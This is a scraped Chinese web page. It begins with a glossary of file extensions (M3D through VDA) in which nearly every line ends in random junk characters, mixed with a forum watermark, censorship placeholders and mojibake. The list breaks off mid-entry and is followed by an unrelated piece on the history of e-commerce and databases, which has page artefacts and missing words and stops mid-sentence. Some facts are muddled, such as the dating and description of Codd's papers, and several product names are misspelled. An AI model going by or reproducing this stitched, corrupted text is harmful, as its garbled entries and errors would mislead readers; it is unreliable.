M3D Corel Motion 3D动画文件 ?zO\:
M3U MPEG URL(MIME声音文件) h*K~
MAC MacPaint图像文件 4
MAD Microsoft Access模块文件 _?Z
MAF Microsoft Access表单文件 a-Z0
MAG 在一些[非法语句]本文件中发现的图形文件格式 C?p$
MAGIC 魔力邮件监视器配置文件 *p}Z{F
MAK Visual Basil或Microsoft Visual C++工程文件 b}$
MAM Microsoft Access宏 q[Jcq
MAN UNIX手册页输出 ^ub\\
MAP 映射文件;Duke Nukem 3D WAD游戏文件 M
MAQ Microsoft Access查询文件 Z>uK:
MAR Microsoft Access报表文件 JIH3
MAS Lotus Freelance Graphics Smart Master文件 p!]
MAT Microsoft Access表;3D Studio MAX材料库 z1
MAUD MAUD抽样格式 [}8
MAX Kinetx的3DStudio MAX文件;该格式用于一个3D场景文件;Paperport文件;OrCAD设计文件 ;7<c<r
MAZ Hover迷路数据;Division的dVS/dVISE使用的文件格式 ^/
MB1 Apogee Monster Bash数据文件 kDcc>
MBOX Berkeley Unix邮箱格式 &46
MBX Microsoft Outlook保存email格式;Eudora邮箱 LVsi4D
MCC Dailerl0呼叫卡 bR%
MCP Metrowerks CodeWarrior工程文件 yac*
MCR DataCAD键盘宏文件 {,
MCW Microsoft Word的Macintosh文档 }
MDA Microsoft Access内抽入器;Microsoft Access 2.0版及其后续版本的工作组事件 "
MDB Microsoft Access数据库 &7&5(
MDE Microsoft Access MDE文件 #mS
MDF Alcohol的文件格式Wu
MDL 数字音乐模块(MOD)文件;Quake模 块文件 2x
MDN Microsoft Access空数据库模板 oz})Wl
MDS Alcohol的文件格式J
MDW Microsoft Access工作组文件 EQ0M=
MDZ Microsoft Access向导模板文件 |`m
MED 音乐编辑器,OctaMED音乐模块(MOD)文件 CT;7A
MER 电子表格/数据库数据交换格式;FileMaker、Excel及其他软件能识别 [+G*!^
MET 表示管理器元文件 .2
MFG Pro/ENGINEER制造文件 4mA>>6
MGF 在材料与几何学里的文件格式 d!]
MHTM,MHTML MHTML文档(MIME) xV\Y<P
MI 杂项 ~`
MIC Microsoft Image Composer文件 Qch`>q
MID MIDI音乐 ->E
MIF Adobe FramMaker交换格式 d
MIFF 与机器无关格式文件 lF
MIM,MIME,MME Internet邮件扩展格式的多用途文件,经常作为发送e-mail时在AOL里附件而创建的文件;在一个多区MIM文件里的文件能用WinZip或其他类似程序打开 J
MLI 3D Studio的材料库格式文件 })yQ)q
MMF Meal Master格式;一个处方类格式;Microsoft邮件文件 b+
MMG 超过20/20表或集会数据文件 0</!,0
MMM Microsoft多媒体电影 VH
MMP Mindmapor Mind Manager文件 %SW
MN2 Descent2任务文件 S5o#q,
MND,MNI Mandelbort for Windows A?+3
MNG 多映像网络图形 aOf
MNT,MNX Microsoft FoxPro菜单文件 &ZP
MNU Visual dBASE菜单文件;Intertel Systems Interact菜单文件 E=L
MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音乐模块文件;Microsoft多计划电子表格;Amiga/PC磁道文件 w!O[Ak
MOV QuickTime for Windows电影 e
MP2 第二层MPEG音频文件 }Q0C
MP3 第三层MPEG音频文件 !LOVFf
MPA MPEG相关文件,MIME"mpeg类型" R_QWp
MPE,MPEG,MPG MPEG动画文件 `M4
MPP Microsoft工程文件;CAD绘图文件格式 Qm5Z
MPR Microsoft FoxPro菜单(已编译) O~<7
MRI MRI扫描文件 DfM
MSA 魔术阴影档案 k
MSDL Manchester的场景描述语言 &N
MSG Microsoft邮件消息 |Uik_
MSI Windows 安装器包 F
MSN Microsoft网络文档;Descent Mission文件 ;e8G
MSP Microsoft Paint(画图)位图文件;Windows Installer路径文件 }d1,
MST Windows 安装器传输文件 zy40
MTM Multi 音乐模块(MOD)文件 X
MUL Ultima在线 6
MUS 音乐 d)&o
MUS10 Mus10声音 -H
MVB Microsoft多媒体查看器文件 #c
MWP Lotus WordPro 97 Smart Master文件
NAN Nanoscope文件(Raw Grayscale) Qz4z
NAP NAP元文件 ,U
NCB Microsoft Developer Studio文件 @t
NCD Norton改变目录 v7/
NCF NetWare命令文件;Lotus Notes内部剪切板 "oX
NDO 3D 低多边形建模器,Nendo W8uT
netCDF 网络公用数据表单 x%8]s
NFF 中性文件格式 -J&@
NFT NetObject Fusion模板文件 <6R
NIL Norton光标库文件(EasyIcons-兼容) v
NIST NIST Sphere声音 e}2A
NLB Oracle 7数据 x)&\
NLM NetWare可装载模块 2#
NLS 用于本地化的国家语言支持文件(例如,Uniscape) ^$7x4B
NLU Norton Live Update e-mail 触发器文件 dcK
NOD NetObject Fusion文件 g-=}8
NSF Lotus Notes数据库 tG,L
NSO NetObject Fusion文档文件 `"
NST Noise Tracker音乐模块(MOD)文件 E0m0}
NS2 Lotus Notes数据库(第二版) u
NTF Lotus Notes数据库模板 r)@HJ
NTX CA-Clipper索引文件 L
NWC Noteworthy Composer歌曲文件 "Kl
NWS Microsoft Outlook Express新闻消息(MIME RFC822) '|)
O01 台风声音文件 }u5t{
OBD Microsoft Office活页夹 `|NkXj
OBJ 对象文件 OrZicI
OBZ Microsoft Office活页夹向导 .U*M
OCX Microsoft对象链接与嵌入定制控件 }
ODS Microsoft Outlook Express邮箱文件 @
OFF 3D 网状物对象文件格式 c)(J
OFN Microsoft Office FileNew文件 j+R
OFT Microsoft Outlook模板 )+(
OKT Oktalyzer音乐模块(MOD)文件 \
OLB OLE对象库 c<
OLE OLE对象 r$L>
OOGL 面向对象图形库xx% T0
OPL 组织者编程语言源文件——Psion/Symbian &*5K
OPO OPL输出可执行文件 QPO
OPT Microsoft Developer Studio文件 ^>R
OPX OPL扩展DLL(动态链接库) i\mRK
ORA Oracle 7 配置文件 f4t
ORC Oracle 7脚本文件 8
ORG Lotus Organizer 文件 YtC$
OR2 Lotus Organizer 2 文件 ,x~Z?
OR3 Lotus Organizer 97 文件 -
OSS Microsoft Office查找文件 |2D
OST Microsoft Exchange / Outlook 离线文件 rpG
OTL Super NoteTab 模板文件 &
OUT C语言输出文件 [
continue V@BEA
P3 Primavera Project Planner(工程设计器)文件 ]Hzi
P10 Tektronix Plot 10 绘图文件 E7C-8
P65 PageMaker 6.5文件 <8}t
P7C Digital ID 文件(MIME) G.yZi>
PAB Microsoft个人地址簿 bEA
PAC SB Studio Ⅱ 包 9%
PAK Quake WAD文件 ]'e$
PAL 压缩文件 \*O
PART Go!Zilla部分下载文件 +#
PAS Pascal源代码 BJHD[
PAT DataCAD Hatch模式文件;CorelDRAW模式;高级Gravis Ultrasound / Forte 技术;碎片文件 8n4!J
PBD PowerBuilder动态库,作为本地DLL的一个替代物 ,s-fY"
PBF Turtle Beach的Pinnacle 银行文件 B
PBK Microsoft PhoneBook(电话簿):qR
©南平IT论坛 -- 南平IT -- IT的南平,走进网络人生,走进IT }F
PBL 用于诃owerBuilder开发环境中的PowerBuilder动态库 vTiwm
PBM 可导出位图 JI
PBR PowerBuilder资源 w8_/w*
PCD Kodak Photo-CD映像;P-Code编译器测试脚本,由Microsoft测试与Microsoft Visual测试 ^
PCE Maps Eudora邮箱名字的DOS文件名 b
PCL Hewlett-Packard 打印机控制语言文件(打印机备用位图) ih7T
PCM 声音文件格式;OKI MSM6376 合成芯片 PCM格式 +[@
PCP Symantec Live Update Pro文件 Ply]
PCS PICS动画文件 yF
PCT Macintosh PICT箨�募?<.tJ%8
PCX Zsoft PC画笔位图 !pN
PDB 3Com PalmPilot数据库文件 w(I+S
PDD 可以用Paint Shop Pro或其他图像处理软件打开的图形图像 Et
PDF Adobe Acrobat 可导出文档格式文件(可用Web浏览器显示);Microsoft系统管理服务器包定义文件;NetWare打印机定义文件 ^.@cTR
PDP Broderbund的Print Shop Deluxe文件 vo_
PDQ Patton&Patton Flowercharting PDQ Lite 文件 YF
PDS 摄影图像文件(该文件格式的来源不清楚) ^e_
PF Aladdin系统对私人文件进行加密的文件 ly=4'Q
PFA 类型1字体(ASCⅡ) lO
PFB 类型1字体(二进制) E
PFC PF组件 |()m8*
PFM 打印机字体尺度 P8[z
PGD 良好隐私(Pretty Good Privacy,PGP)虚拟磁盘文件 ~&
PGL HP绘图仪绘图文件 |aEvA
PGM 可输出灰度图(位图) @
PGP 用良好隐私(PGP)算法加密文件 UC
PH 由Microsoft帮助文件编译器产生的临时文件 [#).
PHP,PHP3 包含有PHP脚本的HTML网页 Dg_
PHTML 包含有PHP脚本的HTML网页;由Perl分析解释的HTML Co}
PIC PC画图位图;Lotus图片;Macintosh PICT绘图 OP!wL
PICT Macintosh PICT图形文件 '&.su/
PIF 程序信息文件;IBM PIF绘图文件 ^E
PIG LucasArts的Dark Forces WAD文件 )fFy<
PIN Epic Pinball数据文件 YV
PIX 内置系统位图 1
PJ MKS源完整性文件 ?$#>
PJX,PJT Microsoft Visual FoxPro工程文件 8g
PKG Microsoft Developer Studio应用程序扩展(与DLL文件类似) {fLE
PKR PGP的公用钥匙环 9
PL Perl程序 0}m
PLG 由REND386/AVRIL使用的文件格式 ;V`t1R
PLI Oracle 7数据描述 &c
PLM Discorder Tracker2模块 ,""z"a
PLS Disorder Tracker2抽样文件;MPEG PlayList文件(由WinAmp使用) FG
PLT HPGL绘图仪绘图文件;AutoCAD plot绘图文件;Gerber标志制作软件 PV
PM5 Pagemaker 5.0文件 F}s\Kd
PM6 Pagemaker 6.0文件 8
PNG 可移植的网络图形位图;Paint Shop Pro浏览器目录 v2W3
PNT,PNTG MacPaint图形文件 UTLLO,
POG Descent2 PIG文件扩展 q
POL Windows NT策略文件 qF
POP Visual dBASE上托文件 Rud`Zc
POT Microsoft Powerpoint模块 q
POV 视频射线暂留 tNYRO
PP4 Picture Publisher 4位图 ,
PPA Microsoft Powerpoint内插器 C9
PPF Turtle Beach的Pinnacle程序文件 Zi
PPM 可移植的象素映射位图 v`
PPP Parson Power Publisher;Serif PagePlus桌面出版缺省输出 FBJqM
PPS Microsoft Powerpoint幻灯片放映 X
PPT Microsoft Powerpoint演示文稿 UBCFe&
PQI PowerQuest驱动器图像文件 w#Et6Z
PRC 3COM PalmPiltt资源(文本或程序)文件 5uj5a1
PRE Lotus Freelance演示文稿 (J0&E
PRF Windows系统文件,Macromedia导演设置文件 .ow
PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序 w_HT
PRJ 3D Studio(DOS)工程文件 wa
PRN 打印表格(用空格分隔的文本);DataCAD Windows打印机文件 um
PRP Oberson的Prospero数据转换产品保存的工程文件 $|
PRS Harvard Graphics for Windows演示文件 .M:]I1
PRT 打印格式化文件;Pro/ENGINEER元件文件 -*lUC?
PRV PsiMail Internet提供者模板文件 Y
PRZ Lotus Freelance Graphics 97文件 !
PS Postscript格式化文件(PostScript打印机可读文件) c
PSB Pinnacle Sound Bank 86*'nl
PSD Adobe photoshop位图文件 b_
PSI PSION a-Law声音文件 ~?
PSM Protracker Studio模型格式;Epic游戏的源数据文件 ;xt$sW
PSP Paint Shop Pro图像文件 (
PST Microsoft Outlook个人文件夹文件 Wi
PTD Pro/ENGINEER表格文件 Hp*=[h
PTM Polytracker音乐模块(MOD)文件 l7Z=qb
PUB Ventura Publisher出版物;Microsoft Publisher文档 MA".pQ
PWD Microsoft Pocket Word文档 g~$p0
PWL Windows 95口令列表文件+r
PWP Photoworks图像文件(能被Photoworks浏览的一系列文件) {0&qE
PWZ Microsoft Powerpoint向导 o+5T
PXL Microsoft Pocket Excel电子表格 !l[s
PY 来自Yahoo的电子消息;Python脚本文件 {7"Ef
PYC Python脚本文件
QAD PF QuickArt文档 Tc>G
QBW QuickBooks for Windows文件 .S
QDT 来自Quicken UK的QuickBooks数据文件,帐目/税/货单程序 wpW*,
QD3D Apple的QuickDraw 3D元文件格式 N#q
QFL FAMILY LAWYER文档 l|
QIC Microsoft备份文件 =3d
QIF QuickTime相关图像(MIME);Quicken导入文件 ObQ
QLB Quick库 @UsI9
QM Quality Motion文件 A.@-
QRY Microsoft查询文件 ?Wfz
QST Quake Spy Tab文件 7q"
QT,QTM QuickTime电影 f('VM
QTI,QTIF QuickTime相关图像 0ZO&c
QTP QuickTime优先文件 !
QTS Mac PICT图像文件;QuickTime相关图像 ,(tkd
QTX QuickTime相关图像 "%%lf
QW Symantec Q&A Write程序文件 ,L0ke
QXD Quark XPress文件 c
R Pegasus邮件资源文件 |V
RA RealAudio声音文件 [ed%
RAM RealAudio元文件 jY #=i
RAR RAR压缩档案(Eugene Roshall格式) kijhrf
RAS Sun光栅图像位图 V
RAW RAW文件格式(位图);Raw标识的PCM数据 SadzLD
RBH 由RoboHELP维持的RBH文件,它加入到一个帮助工程文件的信息中 ZL5
RDF 资源描述框架文件(涉及XML和元数据) r
RDL Descent注册水平文件 uuHdS
REC 录音机宏;RapidComm声音文件 s$lq
REG 注册表文件 t/Pwm_
REP Visual dBASE报表文件 24
RES Microsoft Visual C++资源文件 pf
RFT 可修订的表单文本(IBM的DCA一部分或文档内容框架结构一部分) g4
RGB,SGI Silicon图形RGB文件 QwR
RLE Run-Length编码的位图 ;C
RL2 Descent2注册水平文件 s\k:
RM RealAudio视频文件 _Qhk
RMD Microsoft RegMaid文档 V]A,
RMF Rich Map格式(3D游戏编辑器使用它来保存图) uKC
RMI M1D1音乐 tD\Y3
ROM 基于盒式磁带的家庭游戏仿真器文件(来自Atari 2600、Colecovision、Sega、Nintendo等盒式磁带里的ROM完全拷贝,在两个仿真器之间不可互修改) 7R;
ROV Rescue Rover数据文件 {
RPM RedHat包管理器包(用于Linux) o{m
RPT Microsoft Visual Basic Crystal报表文件 8A+<l
RRS Ace game Road Rash保存的文件 Z0
RSL Borland的Paradox 7报表 '20J#D
RSM WinWay Resume Writer恢复文件 Yr|
RTF Rich Text格式文档 Pcy
RTK RoboHELP使用的用来模拟Windows帮助的搜索功能 C!,
RTM Real Tracker音乐模块(MOD)文件 vZ
RTS RealAudio的RTSL文档;RoboHELP对复杂操作进行加速 Hx{!S
RUL InstallShield使用的扩展名 ;
RVP Microsoft Scan配置文件(MIME) ]Yl-V
Rxx 多卷档案上的RAR压缩文件(xx= 1~99间的一个数字) Pfo.z
S 汇编源代码文件 D*
S3I Scream Tracker v3设备 "e0
S3M Scream Tracker v3的声音模块文件 g&2$t1
SAM Ami专业文档;8位抽样数据)\
SAV 游戏保存文件 HN)62
SB 原始带符号字节(8位)数据 jMhd,@
SBK Creative Labs的Soundfont 1.0 Bank文件;(Soundblaster)/EMU SonndFont v1.x Bank文件 2
SBL Shockwave Flash对象文件 0v4'hN
SC2 Microsoft Schele+7文件格式;SAS目录(Windows 95/NT、OS/2、Mac) MEzi
SC3 SimCity 3000保存的游戏文件 %
SCC Microsoft Source Safe文件 3u
SCD Matrix/Imapro SCODL幻灯片图像;Microsoft Schele +7 jN
SCF Windows Explorer命令文件 ^dxYg
SCH Microsoft Schele+1 n
SCI ScanVec Inspire本地文件格式 ]Gv
SCN True Space 2场景文件 3c
SCP 拨号网络脚本文件 qXP{YP
SCR Windows屏幕保护;传真图像;脚本文件 U@V
SCT SAS目录(DOS);Scitex CT位图;Microsoft FoxPro表单 PETt8&
SCT01 SAS目录(UNIX) W]
SCV ScanVec CASmate本地文件格式 867O%
SCX Microsoft FoxPro表单文件 6B|
SD Sound Designer 1声音文件 O7
SD2 Sound Designer 2展平文件/数据分X指令;SAS数据库(Windows 95/NT、OS/2、Mac) q5'nG
SDF 系统数据文件格式—Legacy Unisys(Sperry)格式 Vi#
SDK Roland S—系列软盘映像 B
SDL Smart Draw库文件 G$
SDR Smart Draw绘图文件 eXzu
SDS 原始Midi抽样转储标准文件 r`YE($
SDT SmartDraw模板 #'R?
SDV 分号分隔的值文件 Q`Q
SDW Lotus WordPro图形文件;原始带符号的DWORD(32位)数据 -q%8<
SDX 由SDX压缩的Midi抽样转储标准文件 b v
SEA 自解压档案(Stufflt for Macintosh或其他软件使用的文件) cR{
SEP 标签图像文件格式(TIFF)位图 X`B
SES Cool Edit Session文件(普通数据声音编辑器文件) ~
SF IRCAM声音文件格式 I#B|j[
SF2 Emu Soundfont v2.0文件;Creative Labs的Soundfont 2.0 Bank文件(Sound Blaster) #y
SFD SoundStage声音文件数据 0i
SFI Sound Stage声音文件信息 ?/-
SFR Sonic Foundry Sample资源 Q{8r
SFW Seattle电影工程(损坏的JPEG) LO
SFX RAR自解压档案 Ws
SGML 标准通用标签语言 $l-h
SHB Corel Show演示文稿;文档快捷文件 \
SHG 热点位图 Cig
SHP 3D Studio(DOS)形状文件;被一些应用程序用于多部分交互三角形模型的3D建模 rws|
SHS Shell scrap文件;据载用于发送"口令盗窃者" ~lI
SHTML 含有服务器端包括(SSI)的HTML文件 &
SHW Corel Show演示文稿 A_^
SIG 符号文件 f$`
SIT Mac的StuffIt档案文件 QG-
SIZ Oracle 7配置文件 \)
SKA PGP秘钥 )
SKL Macromedia导演者资源文件 tD
SL PACT的保存布局扩展名 S
SLB Autodesk Slide库文件格式 c{O"
SLD Autodesk Slide文件格式 MS6V
SLK Symbolic Link(SYLK)电子表格 ftW
SM3 DataCAD标志文件 Y*N#
SMP Samplevision格式;Ad Lib Gold抽样文件 HlI9zn
SND NeXT声音;Mac声音资源;原始的未符号化的PCM数据;AKAI MPC系列抽样文件 71q
SNDR Sounder声音文件 ";y
SNDT Sndtool声音文件 {?ikA@
SOU SB Studio Ⅱ声音 :]
SPD Speech数据文件 o1A.
SPL Shockwave Flash对象;DigiTrakker抽样 $+Y'
SPPACK SPPack声音抽样 yl
SPRITE Acorn的位图格式 L
SQC 结构化查询语言(SQR)普通代码文件 {
SQL Informix SQL查询;通常被数据库产品用于SQL查询(脚本、文本、二进制)的文件扩展名 +mn
SQR 结构化查询语言(SQR)程序文件 m:r%
SSDO1 SAS数据集合(UNIX) q\Fj
SSD SAS数据库(DOS) UP
SSF 可用的电子表格文件 C0
ST Atari ST磁盘映像 !q
STL Sterolithography文件 v
STM .shtml的短后缀形式,含有一个服务端包括(SSI)的HTML文件;Scream Tracker V2音乐模块(MOD)文件 g^
STR 屏幕保护文件 g@
STY Ventura Publisher风格表 uWuG;X
SVX Amiga 8SVX声音;互交换文件格式,8SVX/16SV 6p_5s0
SW 原始带符号字(16位)数据 CM[
SWA 在Macromedia导演文件(MP3文件)中的Shockwave声音文件 8
SWF Shockwave Flash对象 !5Oy/
SWP DataCAD交换文件 x
SYS 系统文件 `
SYW Yamaha SY系列波形文件
T64 Commodore 64仿真器磁带映像文件 cx8(JV
TAB Guitar表文件 En>R,
TAR 磁带档案 1
TAZ UNIX gzip/tape档案 p%f'D
TBK Asymetrix Toolbook交互多媒体文件 cs(Y
TCL 用TCL/TK语言编写的脚本 C]|
TDB Thumbs Plus数据库 fP
TDDD Imagine 和 Turbo Silver射线使用的文件格式 ;}
TEX 正文文件 (
TGA Targa位图 x!']p
TGZ UNIX gzip/tap档案文件 d5_
THEME Windows 95桌面主题文件 m
THN Graphics WorkShop for Windows速写 :Ww
TIF,TIFF 标签图像文件格式(TIFF)位图 +?
TIG 虎形文件,美国用于分发地图 cJ}
TLB OLE类型库 -
TLE 两线元素集合(NASA) 2D
TMP Windows临时文件 _}t9B)
TOC Eudora邮箱内容表 0
TOL Kodak照片增强器 y
TOS Atari 16/32和32/32计算机操作系统文件 @*
TPL CakeWalk声音模板文件;DataCAD模板文件 .xHi^
TPP Teleport Pro工程 Dx}
TRK Kermit脚本文件 Ph[
TRM 终端文件 \>BmM
TRN MKS源完整性工程用法[非法语句]志文件 t)q
TTF TrueType字体文件 IOrl
TTK Corel Catalyst Translaton Tool Kit s9
TWF TabWorks文件 @]
TWW Tagwrite模板 2?dR
TX8 MS-DOS文本 Q,Bs
TXB Descent/D2编码概要文件 l
TXT ASCⅡ文本格式的声音数据 l[n8
TXW Yamaha TX16W波形文件 !d@
TZ 老的压缩格式文件 #},pI
T2T Sonate CAD建模软件文件 O#'
UB 原始未符号化的字节(8位)数据 :.=MU
UDF Windows NT/2000唯一性数据库文件 cyH
UDW 原始未符号化的双字(32位)数据 xu
ULAW 美国电话格式(CCITT G.711)声音 *
ULT Ultra Tracker音乐模块(MOD)文件 R
UNI MikMod UniMod格式化文件 D*s
URL Internet快捷方式文件 p:md~'
USE MKS源完整性文件 ;
UU,UUE UU编码文件 I>xy
UW 原始未符号化字(16位)数据 |_.Z{n
UWF UltraTracker波形文件 Z.=5v;
V8 Covox 8位声音文件 Jx
VAP 加注讲演文件 n,vv
VBA VBase文件 3
VBP Microsoft Visual Basic工程文件 e>>w
VBW Microsoft Visual Basic工作区文件 M
VBX Microsoft Visual Basic用户定制控件 =o0,c
VCE Natural MicroSystems(NMS)未格式化声音文件(由Cool Edit使用) [J
VCF 虚拟卡文件(Netscape);Veri配置文件;为与Sense8的WordToolkit一起使用而定义对象 A^x7FE
VCT,VCX Microsoft FoxPro类库 #
VDA Ta
电子商务的发展历史和数据库是什么,各500字。急用,60%原创最好
电子商务最早产生于20世纪60年代,大规模发展于20世纪90年代,其产生和发展的重要条件主要有以下几个方面。
1.经济全球化的发展
经济全球化是指世界各国的经济在生产、分配、消费各个领域发生的一体化趋势。经济全球化促进了公司的发展,使国际范围内的商务活动变得频繁,而且使国际贸易成为了各国经济发展的重要组成部分。经济全球化促使人们寻找合适的方式来满足这种商务活动,电子商务由此应运而生,并以其独特的优势成为这场中的重要力量,在国际商务活动中扮演着越来越重要的角色。
2.计算机和网络技术的发展、普及和广泛应用近30年来,计算机的运行速度越来越快,处理能力越来越强,价格越来越低,应用越来越广泛,这为电子商务的应用提供了基础。由于国际互联网逐渐成为全球通信与交易的媒体,全球上网用户呈级数增长趋势,快捷、安全、低成本的特点为电子商务的发展提供了应用条件。
3.信用卡和电子金融的普及应用
信用卡以其方便、快捷、安全等优点而成为人们消费支付的重要手段,并由此形成了完善的全球性信用卡计算机网络支付与结算系统,使“一卡在手,走遍全球”成为可能,同时也成为电子商务中网上支付的重要手段。各大银行也都看到了电子商务的发展前景,纷纷推出了支持在线交易的电子金融服务,在安全技术的保障下,电子银行的发展解决了商务活动中的支付问题,成为促进电子商务发展的强大动力。
4.电子安全交易协议的制定和安全技术的发展
1997年5月31日,由美国VISA和Mastercard国际组织等联合指定的电子安全交易协议(Secure Electronic Transfer
Protocol,SET)出台,该协议得到了大多数厂商的认可和支持,为在网络上进行电子商务活动提供了一个关键的安全环境。计算机和网络安全技术的发展为电子商务的开展提供了技术和安全保障,这些技术包括HTML、XML、数据库技术、动态网页技术、SSL协议、SET协议、加密技术、防火墙技术和数字签名技术等。
5.的支持与推动
自1997年欧盟发布了欧洲电子商务协议,美国随后发布《全球电子商务纲要》以后,电子商务受到了世界各国的重视,许多国家的开始尝试“网上采购”,这为电子商务的发展提供了有力的支持。同时,各国都非常重视电子商务的发展,为电子商务的发展提供良好的生存环境,同时为电子商务制定法律规范和技术标准,这就保障了电子商务的合法进行和长远发展
数据库技术从诞生到现在,在不到
半个世纪的时间里,形成了坚实的理论
基础、成熟的商业产品和广泛的应用领
域,吸引越来越多的研究者加入。数据库
的诞生和发展给计算机信息管理带来了
一场巨大的。三十多年来,国内外已
经开发建设了成千上万个数据库,它已
成为企业、部门乃至个人日常工作、生产
和生活的基础设施。同时,随着应用的扩
展与深入,数据库的数量和规模越来越
大,数据库的研究领域也已经大大地拓
广和深化了。30年间数据库领域获得了
三次计算机图灵奖(C.W. Bachman,
E.F.Codd, J.Gray),更加充分地说明
了数据库是一个充满活力和创新精神的
领域。就让我们沿着历史的轨迹,追溯一
下数据库的发展历程。
数据库发展简史
1. 数据管理的诞生
数据库的历史可以追溯到五十年前,
那时的数据管理非常简单。通过大量的
分类、比较和表格绘制的机器运行数百
万穿孔卡片来进行数据的处理,其运行
结果在纸上打印出来或者制成新的穿孔
卡片。而数据管理就是对所有这些穿孔
卡片进行物理的储存和处理。
然而,1 9 5 1 年雷明顿兰德公司
(Remington Rand Inc.)的一种叫做
Univac I 的计算机推出了一种一秒钟可
以输入数百条记录的磁带驱动器,从而
引发了数据管理的。1956 年IBM生
产出第一个磁盘驱动器—— the Model
305 RAMAC。此驱动器有50 个盘片,
每个盘片直径是2 英尺,可以储存5MB
的数据。使用磁盘最大的好处是可以随
机地存取数据,而穿孔卡片和磁带只能
顺序存取数据。
数据库系统的萌芽出现于60 年代。
当时计算机开始广泛地应用于数据管理,
对数据的共享提出了越来越高的要求。
传统的文件系统已经不能满足人们的需
要。能够统一管理和共享数据的数据库
管理系统(DBMS)应运而生。数据模型
是数据库系统的核心和基础,各种
DBMS 软件都是基于某种数据模型的。
所以通常也按照数据模型的特点将传统
数据库系统分成网状数据库、层次数据
库和关系数据库三类。
最早出现的是网状DBMS,是美国
通用电气公司Bachman等人在1961年开
发成功的IDS(Integrated DataStore)。
1961年通用电气公司(General Electric
Co.)的Charles Bachman 成功地开发
出世界上第一个网状DBMS也是第一个
数据库管理系统—— 集成数据存储
(Integrated DataStore IDS),奠定了网
状数据库的基础,并在当时得到了广泛
的发行和应用。IDS 具有数据模式和日
志的特征。但它只能在GE主机上运行,
并且数据库只有一个文件,数据库所有
的表必须通过手工编码来生成。
之后,通用电气公司一个客户——
BF Goodrich Chemical 公司最终不得
不重写了整个系统。并将重写后的系统
命名为集成数据管理系统(IDMS)。
网状数据库模型对于层次和非层次
结构的事物都能比较自然的模拟,在关
系数据库出现之前网状DBMS要比层次
DBMS用得普遍。在数据库发展史上,网
状数据库占有重要地位。
层次型DBMS是紧随网络型数据库
而出现的。最著名最典型的层次数据库
系统是IBM 公司在1968 年开发的IMS
(Information Management System),一
种适合其主机的层次数据库。这是IBM
公司研制的最早的大型数据库系统程序
产品。从60 年代末产生起,如今已经发
展到IMSV6,提供群集、N路数据共享、
消息队列共享等先进特性的支持。这个
具有3 0 年历史的数据库产品在如今的
WWW应用连接、商务智能应用中扮演
着新的角色。
1973 年Cullinane 公司(也就是后
来的C u l l i n e t 软件公司),开始出售
Goodrich 公司的IDMS 改进版本,并且
逐渐成为当时世界上最大的软件公司。
2. 关系数据库的由来
网状数据库和层次数据库已经很好
1951:Univac I 系统使用磁带
和穿孔卡片作为数据存储
管理·开发故事
数据库发展史
程序员2004.06 47
地解决了数据的集中和共享问题,但是
在数据性和抽象级别上仍有很大欠
缺。用户在对这两种数据库进行存取时,
仍然需要明确数据的存储结构,指出存
取路径。而后来出现的关系数据库较好
地解决了这些问题。
1970 年,IBM 的研究员E.F.Codd
博士在刊物Communication of the ACM
上发表了一篇名为“A Relational Model
of Data for Large Shared Data Banks”
的论文,提出了关系模型的概念,奠定了
关系模型的理论基础。尽管之前在1968
年Childs 已经提出了面向集合的模型,
然而这篇论文被普遍认为是数据库系统
历史上具有划时代意义的里程碑。Codd
的心愿是为数据库建立一个优美的数据
模型。后来Codd又陆续发表多篇文章,
论述了范式理论和衡量关系系统的12条
标准,用数学理论奠定了关系数据库的
基础。关系模型有严格的数学基础,抽象
级别比较高,而且简单清晰,便于理解和
使用。但是当时也有人认为关系模型是
理想化的数据模型,用来实现DBMS是
不现实的,尤其担心关系数据库的性能
难以接受,更有人视其为当时正在进行
中的网状数据库规范化工作的严重威胁。
为了促进对问题的理解,1974年ACM牵
头组织了一次研讨会,会上开展了一场
分别以Codd 和Bachman为首的支持和
反对关系数据库两派之间的辩论。这次
著名的辩论推动了关系数据库的发展,
使其最终成为现代数据库产品的主流。
1970 年关系模型建立之后,IBM公
司在San Jose实验室增加了更多的研究
人员研究这个项目,这个项目就是著名
的System R。目标是论证一个全功能关
系DBMS的可行性。该项目结束于1979
年,完成了第一个实现SQL的DBMS。然
而IBM 对IMS 的承诺阻止了System R
的投产,一直到1980 年System R 才作
为一个产品正式推向市场。IBM 产品化
步伐缓慢的三个原因:IBM重视信誉、重
视质量、尽量减少故障;IBM 的官僚体
系庞大;IBM 内部已经有层次数据库产
品,相关人员不积极,甚至反对。
然而同时,1973年加州大学伯克利
分校的Michael Stonebraker 和Eugene
Wong利用System R已发布的信息开始
开发自己的关系数据库系统Ingres。他
们开发的Ingres项目最后由Oracle公司、
Ingres 公司以及硅谷的其他厂商所商品
化。后来,System R和Ingres 系统双双
获得ACM的1988 年“软件系统奖”。
1976 年霍尼韦尔公司(Honeywell)
开发了第一个商用关系数据库系统——
Multics Relational Dat a Store。关系型数
据库系统以关系代数为坚实的理论基础,
经过几十年的发展和实际应用,技术越
来越成熟和完善。其代表产品有Oracle、
IBM 公司的DB2、微软公司的MS SQL
Server 以及Informix、ADABASD 等等。
3. 结构化查询语言 (SQL)
1974 年,IBM 的Ray Boyce 和Don
Chamberlin 将Codd关系数据库的12条
准则的数学定义以简单的关键字语法表
现出来,里程碑式地提出了S Q L
(Structured Query Language)语言。
SQL语言的功能包括查询、操纵、定义和
控制,是一个综合的、通用的关系数据库
语言,同时又是一种高度非过程化的语
言,只要求用户指出做什么而不需要指
出怎么做。SQL集成实现了数据库生命周
期中的全部操作。SQL提供了与关系数据
库进行交互的方法,它可以与标准的编
程语言一起工作。自产生之日起,SQL语
言便成了检验关系数据库的试金石,而
SQL语言标准的每一次变更都指导着关系
数据库产品的发展方向。然而,直到二十
世纪七十年代中期,关系理论才通过SQL
在商业数据库Oracle和DB2中使用。
1986年,ANSI把SQL作为关系数据
库语言的美国标准,同年公布了标准
1969:Edgar F. Codd
发明了关系数据库
数据库发展史
1976年IBM E.F.Codd发表了一篇里
程碑的论文“R系统:数据库关系理论”,
介绍了关系数据库理论和查询语言SQL。
Oracle的创始人Ellison非常仔细地阅读了
这篇文章,被其内容震惊,这是第一次有
人用全面一致的方案管理数据信息。作
者E.F.Codd十年前就发表了关系数据库
理论,并在IBM 研究机构开发原型,这
个项目就是R系统,存取数据表的语言
就是SQL。Ellison看完后,敏锐意识到在
这个研究基础上可以开发商用软件系统。
而当时大多数人认为关系数据库不
会有商业价值。Ellison认为这是他们的
机会:他们决定开发通用商用数据库系统
Oracle,这个名字来源于他们曾给情
